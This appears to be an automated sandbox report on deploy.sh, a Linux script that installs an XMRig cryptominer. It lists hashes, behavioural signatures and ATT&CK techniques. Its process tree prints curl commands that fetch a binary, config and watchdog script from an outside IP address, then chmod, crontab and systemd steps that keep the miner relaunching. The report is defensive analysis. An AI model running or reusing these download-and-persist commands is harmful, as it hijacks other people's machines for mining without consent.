xmrig | 9ea42b8381008979ba761ab7dddf54b2cedc8f0db5f42199fb35e4e12cd15260

Analysis

max time kernel
142s
max time network
5s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
10/07/2026, 20:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
deploy.sh
Size 13KB
Sample260710-y222daa13t
SHA256 9ea42b8381008979ba761ab7dddf54b2cedc8f0db5f42199fb35e4e12cd15260
MD5 c5ff1408993537b73456cbab3fae18b5
SHA1 20e926dc172ac8e91614815e80f9bafbeadc3374
SHA512 f8b39820870662589bfda8df927c963536e63b73e202ef5f5decf0e3d7c1a480f7869a7e0b2e0dfa85fc61f9fd1f197e1fe4c46c112e9057a469dcd94eb75132
SSDEEP 192:2875rR474COKyAVF1mBt6e4egQq1GZ0HRit4Nmn5PH03/BNGBggGQd:T5VT4LyMiXn5PUQ
TLSH
T16E52A672BA65D57638ACC22C998E9110392B3AEB36183458B4ED76043FFC31D51F277A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

antivm defense_evasion discovery execution xmrig miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-7.dat	family_xmrig
behavioral2/files/fstream-7.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
716	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/softwaretechreview/softwaretech	770	bash
/softwaretechreview/softwaretech	813	bash
/softwaretechreview/softwaretech	831	bash
/softwaretechreview/softwaretech	844	bash
/softwaretechreview/softwaretech	859	bash
/softwaretechreview/softwaretech	872	bash
/softwaretechreview/softwaretech	886	bash
/softwaretechreview/softwaretech	900	bash
/softwaretechreview/softwaretech	913	bash
/softwaretechreview/softwaretech	928	bash

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.F37KmQ	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 10 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-user/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-user/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-user/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/646/stat	ps
File opened for reading	/proc/2/stat	ps
File opened for reading	/proc/81/status	ps
File opened for reading	/proc/41/status	ps
File opened for reading	/proc/26/status	ps
File opened for reading	/proc/10/stat	ps
File opened for reading	/proc/114/status	ps
File opened for reading	/proc/584/stat	ps
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/114/stat	ps
File opened for reading	/proc/14/stat	ps
File opened for reading	/proc/147/status	ps
File opened for reading	/proc/324/stat	ps
File opened for reading	/proc/644/stat	ps
File opened for reading	/proc/143/stat	ps
File opened for reading	/proc/103/stat	ps
File opened for reading	/proc/295/stat	ps
File opened for reading	/proc/10/stat	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/17/status	ps
File opened for reading	/proc/17/status	ps
File opened for reading	/proc/174/stat	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/571/stat	ps
File opened for reading	/proc/660/stat	ps
File opened for reading	/proc/4/status	ps
File opened for reading	/proc/584/status	ps
File opened for reading	/proc/143/stat	ps
File opened for reading	/proc/857/status	ps
File opened for reading	/proc/13/status	ps
File opened for reading	/proc/174/status	ps
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/9/stat	ps
File opened for reading	/proc/meminfo	ps
File opened for reading	/proc/288/stat	ps
File opened for reading	/proc/571/status	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/status	ps
File opened for reading	/proc/81/status	ps
File opened for reading	/proc/5/status	ps
File opened for reading	/proc/17/stat	ps
File opened for reading	/proc/141/status	ps
File opened for reading	/proc/635/stat	ps
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/174/status	ps
File opened for reading	/proc/646/status	ps
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/25/stat	ps
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/571/stat	ps
File opened for reading	/proc/284/stat	ps
File opened for reading	/proc/24/stat	ps
File opened for reading	/proc/586/stat	ps
File opened for reading	/proc/10/status	ps
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/226/stat	ps
File opened for reading	/proc/141/status	ps
File opened for reading	/proc/27/stat	ps
File opened for reading	/proc/586/status	ps
File opened for reading	/proc/898/status	ps
File opened for reading	/proc/41/stat	ps
File opened for reading	/proc/41/status	ps
File opened for reading	/proc/805/status	ps
File opened for reading	/proc/43/status	ps

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.gnDJC2	deploy.sh

/tmp/deploy.sh
/tmp/deploy.sh
1⤵
- Writes file to tmp directory
PID:647
- /usr/bin/curl
  curl http://45.225.135.18:4849
  2⤵
  - Checks CPU configuration
  PID:653
- /bin/mkdir
  mkdir -p /softwaretechreview
  2⤵
  PID:674
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:675
- /bin/hostname
  hostname
  2⤵
  PID:677
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:678
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:679
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:681
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:682
- /bin/mkdir
  mkdir -p /softwaretechreview
  2⤵
  PID:683
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:684
- /usr/bin/curl
  curl -fsSL --retry 3 --retry-delay 5 http://45.225.135.18/softwaretech -o /softwaretechreview/softwaretech
  2⤵
  - Checks CPU configuration
  PID:685
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:689
- /usr/bin/curl
  curl -fsSL --retry 3 --retry-delay 5 http://45.225.135.18/deploy/config.json -o /softwaretechreview/config.json
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:690
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:702
- /usr/bin/curl
  curl -fsSL --retry 3 --retry-delay 5 http://45.225.135.18/watchsoftware.sh -o /softwaretechreview/watchsoftware.sh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:704
- /bin/chmod
  chmod +x /softwaretechreview/softwaretech /softwaretechreview/watchsoftware.sh
  2⤵
  - File and Directory Permissions Modification
  PID:716
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:718
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:719
- /bin/grep
  grep -qF /softwaretechreview/watchsoftware.sh
  2⤵
  PID:722
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:721
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:726
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:727
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:731
- /bin/mkdir
  mkdir -p /.config/systemd/user
  2⤵
  PID:735
- /bin/cat
  cat
  2⤵
  PID:739
- /bin/systemctl
  systemctl --user daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  PID:741
- /bin/systemctl
  systemctl --user enable softwaretech-watchdog.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:744
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:748
- /bin/systemctl
  systemctl --user start --no-block softwaretech-watchdog.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:749
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:751
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:752
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:753
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:754
- /bin/bash
  bash /softwaretechreview/watchsoftware.sh
  2⤵
  - Executes dropped EXE
  PID:755
- - /bin/cat
    cat /softwaretechreview/watchdog.pid
    3⤵
    PID:760
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:762
- - /bin/mkdir
    mkdir -p /softwaretechreview
    3⤵
    PID:763
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:764
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:765
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:766
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:768
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:767
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:769
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:771
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:770
- - /bin/sleep
    sleep 15
    3⤵
    PID:773
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:807
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:809
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:811
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:810
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:812
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:814
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:813
- - /bin/sleep
    sleep 15
    3⤵
    PID:816
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:825
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:827
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:829
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:828
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:830
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:831
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:832
- - /bin/sleep
    sleep 15
    3⤵
    PID:834
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:838
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:840
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:841
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:842
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:843
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:845
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:844
- - /bin/sleep
    sleep 15
    3⤵
    PID:847
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:853
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:855
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:857
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:856
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:858
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:860
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:859
- - /bin/sleep
    sleep 15
    3⤵
    PID:862
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:866
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:868
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:870
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:869
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:871
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:873
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:872
- - /bin/sleep
    sleep 15
    3⤵
    PID:875
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:879
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:881
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:884
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:883
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:885
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:887
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:886
- - /bin/sleep
    sleep 15
    3⤵
    PID:889
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:894
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:896
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:897
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:898
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:899
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:900
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:901
- - /bin/sleep
    sleep 15
    3⤵
    PID:903
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:907
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:909
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:910
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:911
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:912
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:914
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:913
- - /bin/sleep
    sleep 15
    3⤵
    PID:916
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:922
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:924
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:926
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:925
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:927
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:929
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:928
- - /bin/sleep
    sleep 15
    3⤵
    PID:931
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:757
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:758

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

config.json

Path /softwaretechreview/config.json
Size 6KB
SHA256 46a89ab6d49e527e8f281f02ddb8415494ee977211a4612a2fc158859ea77e35
MD5 05021c6119268dee528fd0703c78328f
SHA1 b8c5b6462fa826006e8aef75fdf156a40664c8c6
SHA512 3097d62e17d363b80c74a51b55751da87c47f0fd3ae7bc1b87b30067ce5b5f28b2d65a1b5f0e5bc3ed4f69935c634dabda65bae5b7285ad8af7791e2d0413973
SSDEEP 192:LACgCZCIjES7CiWhZJOJJ2zDsTcTkjCduKG:LV9GXrJOJJYo4w2En
TLSH
T1A4E1DE21CA380DBB12A554AD89EC6383561CC1136E493C79721C999C2F0E73F75B7BEA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

deploy.log

Path /softwaretechreview/deploy.log
Size 78B
SHA256 3bec7cef7d0da8ecce0a78e837e0fe428b6bd82b30655a41722c23716ce7e9ef
MD5 a4849cd54db653e464f3b3ed83e6ef85
SHA1 e030dfb0e50cf048706d87aa8e4f82431cd674c7
SHA512 ee1eb112ca66f6041524bcc471bd52c919efa1e1f75205e0bb00a4eb3b90ea8b966e407dfb8771fc623dd516a98db8d628d485bba4de1bcf0d2d85f17cb5a142
MD5 SHA1 SHA512

Submit Download

deploy.log

Path /softwaretechreview/deploy.log
Size 163B
SHA256 2a752ba43d95791a8fd6db00958e3b4b997eb7f5fd803fd4537e3cae28d5d298
MD5 badea88a4b363bdd26a73ee1664e2e6f
SHA1 ee806cac29d4e6eb752c650792ce8d594bb44492
SHA512 4d5b10c8fb7f415eb8bed3eafd6172d451178f386f10695b61e7310ff1ed7b94f68d7fadc623bfd02f73e1e347a245083afea67ebc9f294602b5074bc7e5554a
TLSH
T1D0C012C8363C66E6476981C3D4714A357392FA8741184B50F3847D040B3170E5F7CC31
MD5 SHA1 SHA512 TLSH

Submit Download

deploy.log

Path /softwaretechreview/deploy.log
Size 241B
SHA256 4d659cbf03d6a0c8b2bad00335cb1c74d57cff2629bb9e7f215867b8346436fc
MD5 11eefb7c5f021fa5a93412a40213ef24
SHA1 0e1b20b7a207749628567683d697b015e9d84cbd
SHA512 88d36ee1d97ffef310aa8c8e0966f67f64a7fa429cf2cc2a301bd30d95d6ddf5a04660f28da851b652ea851fef84362879785e978143ae58551c8b4f9ade39b4
TLSH
T1DFD092C8363C6AA6476981C7E8714E75B3A2FA8B42184A50F384B9080B31B0E6F7CC31
MD5 SHA1 SHA512 TLSH

Submit Download

deploy.log

Path /softwaretechreview/deploy.log
Size 322B
SHA256 f59d3d7813a17022a19e09c8983b9f4fd9495451d7e6c2f2275c975ebd8b9424
MD5 a8c4f31cb8a40dbfeb6cbc2789898622
SHA1 0bc91791f184ec9cbec9f29e43ab4d5023bd2ff3
SHA512 b5393108c961279ea42cb9856fb2a1493af8196665826ca4a8d18a8b525229a5df9989b2a24c855d85b687ac5afb25bfa86f96658d868b97a6176092a2681c70
TLSH
T145E0C98D362C59BA4B6A51C3E5768BA2B3A1FA9B42140950B38575080B21B0F6F7C830
MD5 SHA1 SHA512 TLSH

Submit Download

deploy.log

Path /softwaretechreview/deploy.log
Size 1KB
SHA256 a22292fd0b63d24208266607472c96ed199a3028b84d051388cb4c38ca03585e
MD5 94da275669fbae337ec7569ce0105b01
SHA1 56477d13d75695236388480a7c33dcc4c0e423c9
SHA512 4f23e3447d055ab691e9cc180952264624886dcf228e44e3bc4fac3727064767784310e1c357409af630fc4a9040e24ab86ef67b0e23f30a4f1499d2597c1315
TLSH
T18021CE4E297E19B706B901D3ED5A4BA1EB85FB478214181C73E630082B21B2B5FBDC76
MD5 SHA1 SHA512 TLSH

Submit Download

softwaretech

Path /softwaretechreview/softwaretech
Size 8.0MB
SHA256 b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
MD5 e1b3e738928012a07dfce8659b3ff31d
SHA1 c9bb4fc8eadaad35e50de087e3bbd5969cb2df2f
SHA512 cb8b152ebecad5cffdc635ee9ba7e7b3007772b16088aa48e1374e1230db52ae0f2b135369085e6c64a9e61821244b7b0fa2cb13d7fd48af1668c9133d942835
SSDEEP 98304:YSKSi/FM70AF/Auk3zX0H6aguAcFZqKjjMRPEkLqm7XyGkNA4xT0+x2gGYwZsVZ2:ssQLqmjsxymsONkEZqIzolQdo
TLSH
T17E865B47B6E318FDC19AC470472FD663BD70B8984221797B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

watchdog.pid

Path /softwaretechreview/watchdog.pid
Size 4B
SHA256 87615fab5bd53deabdd9791b1d7c1c4360d752656d14090fc5cdff1341811765
MD5 20979acb7c5ba527a02bfa3213328d4b
SHA1 aef1132ae9333bd6eb29b14aa2636059894f3fa4
SHA512 1dbc7dd0ed34db722078e7dac4fa0385ca2483a7eee88406109789b849bf11f66b8b78ed52441d0651397971f84e3dcd270e2175cbb8078880ed1cd26310e387
MD5 SHA1 SHA512

Submit Download

watchsoftware.sh

Path /softwaretechreview/watchsoftware.sh
Size 4KB
SHA256 c8844ac426e19246c8a73b9952deda131b6bb452fafe4dbb984a8895914a9046
MD5 e8fd3e778e32b7dbcca44128cd15744c
SHA1 0af4e92937c9f1a8376a56e2445d76e5156e8eb7
SHA512 5f82581325ab4643103cab0c4c6958b0644ff74c66873d41f78ebd09bce329f6baf6fc14c8e4627bd8b646bb7db1ec5432b9905c22f361308a62b9ca927fa1ca
SSDEEP 96:IzLiPYa3jvvc9TbHlLYYLOwJmwvwSmt7rzzw:I3iBT3+TbFBywQwYSYnzM
TLSH
T178A194727F916B303A99C11C8A9ED252766B38BB36103868705D31907BEC71E51B2F74
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sh-thd.gnDJC2

Path /tmp/sh-thd.gnDJC2
Size 373B
SHA256 707a96429c20b62afc685b8e007b43f9fbd891c5b5caf45fc27f67314cd5ac96
MD5 9d889d234e81bee20bb3ac5e5faa5c84
SHA1 5f851128fb5e554729c524837fb4d89337bb4d78
SHA512 9d8e260915777b27391bc5f4fd4449b32dc14c60690e3dc8c98b0beee19ae15312fef688635e3570b6ba18ac0da315aec410cf0577e0e2c192c119479b1d31fc
TLSH
T153E06872376322F998878A159D439700E0472AE1C20E74EC3DC196CA10D074D8431364
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.F37KmQ

Path /var/spool/cron/crontabs/tmp.F37KmQ
Size 283B
SHA256 331e23e870dffc9fbfa3b8439174c2764ce2b3c974bab7467d8cd6bfca0a4af2
MD5 664875ac7973971e1528e3f241a33c0f
SHA1 d13e41ce1447bbc9437ac37ae196525334c97f91
SHA512 de2eb06d9f0a109d8a6852ca277335ff09f4194b01508837ae01ab335275c61505be7321a7765bbf760a68e27c728bc5579ddadacca2cfb758eb58766e89ef58
TLSH
T157D02B3C3B00763C2D564745BC1A804879879AF8D04DADD0F1CDB05D0326B4C4B66661
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads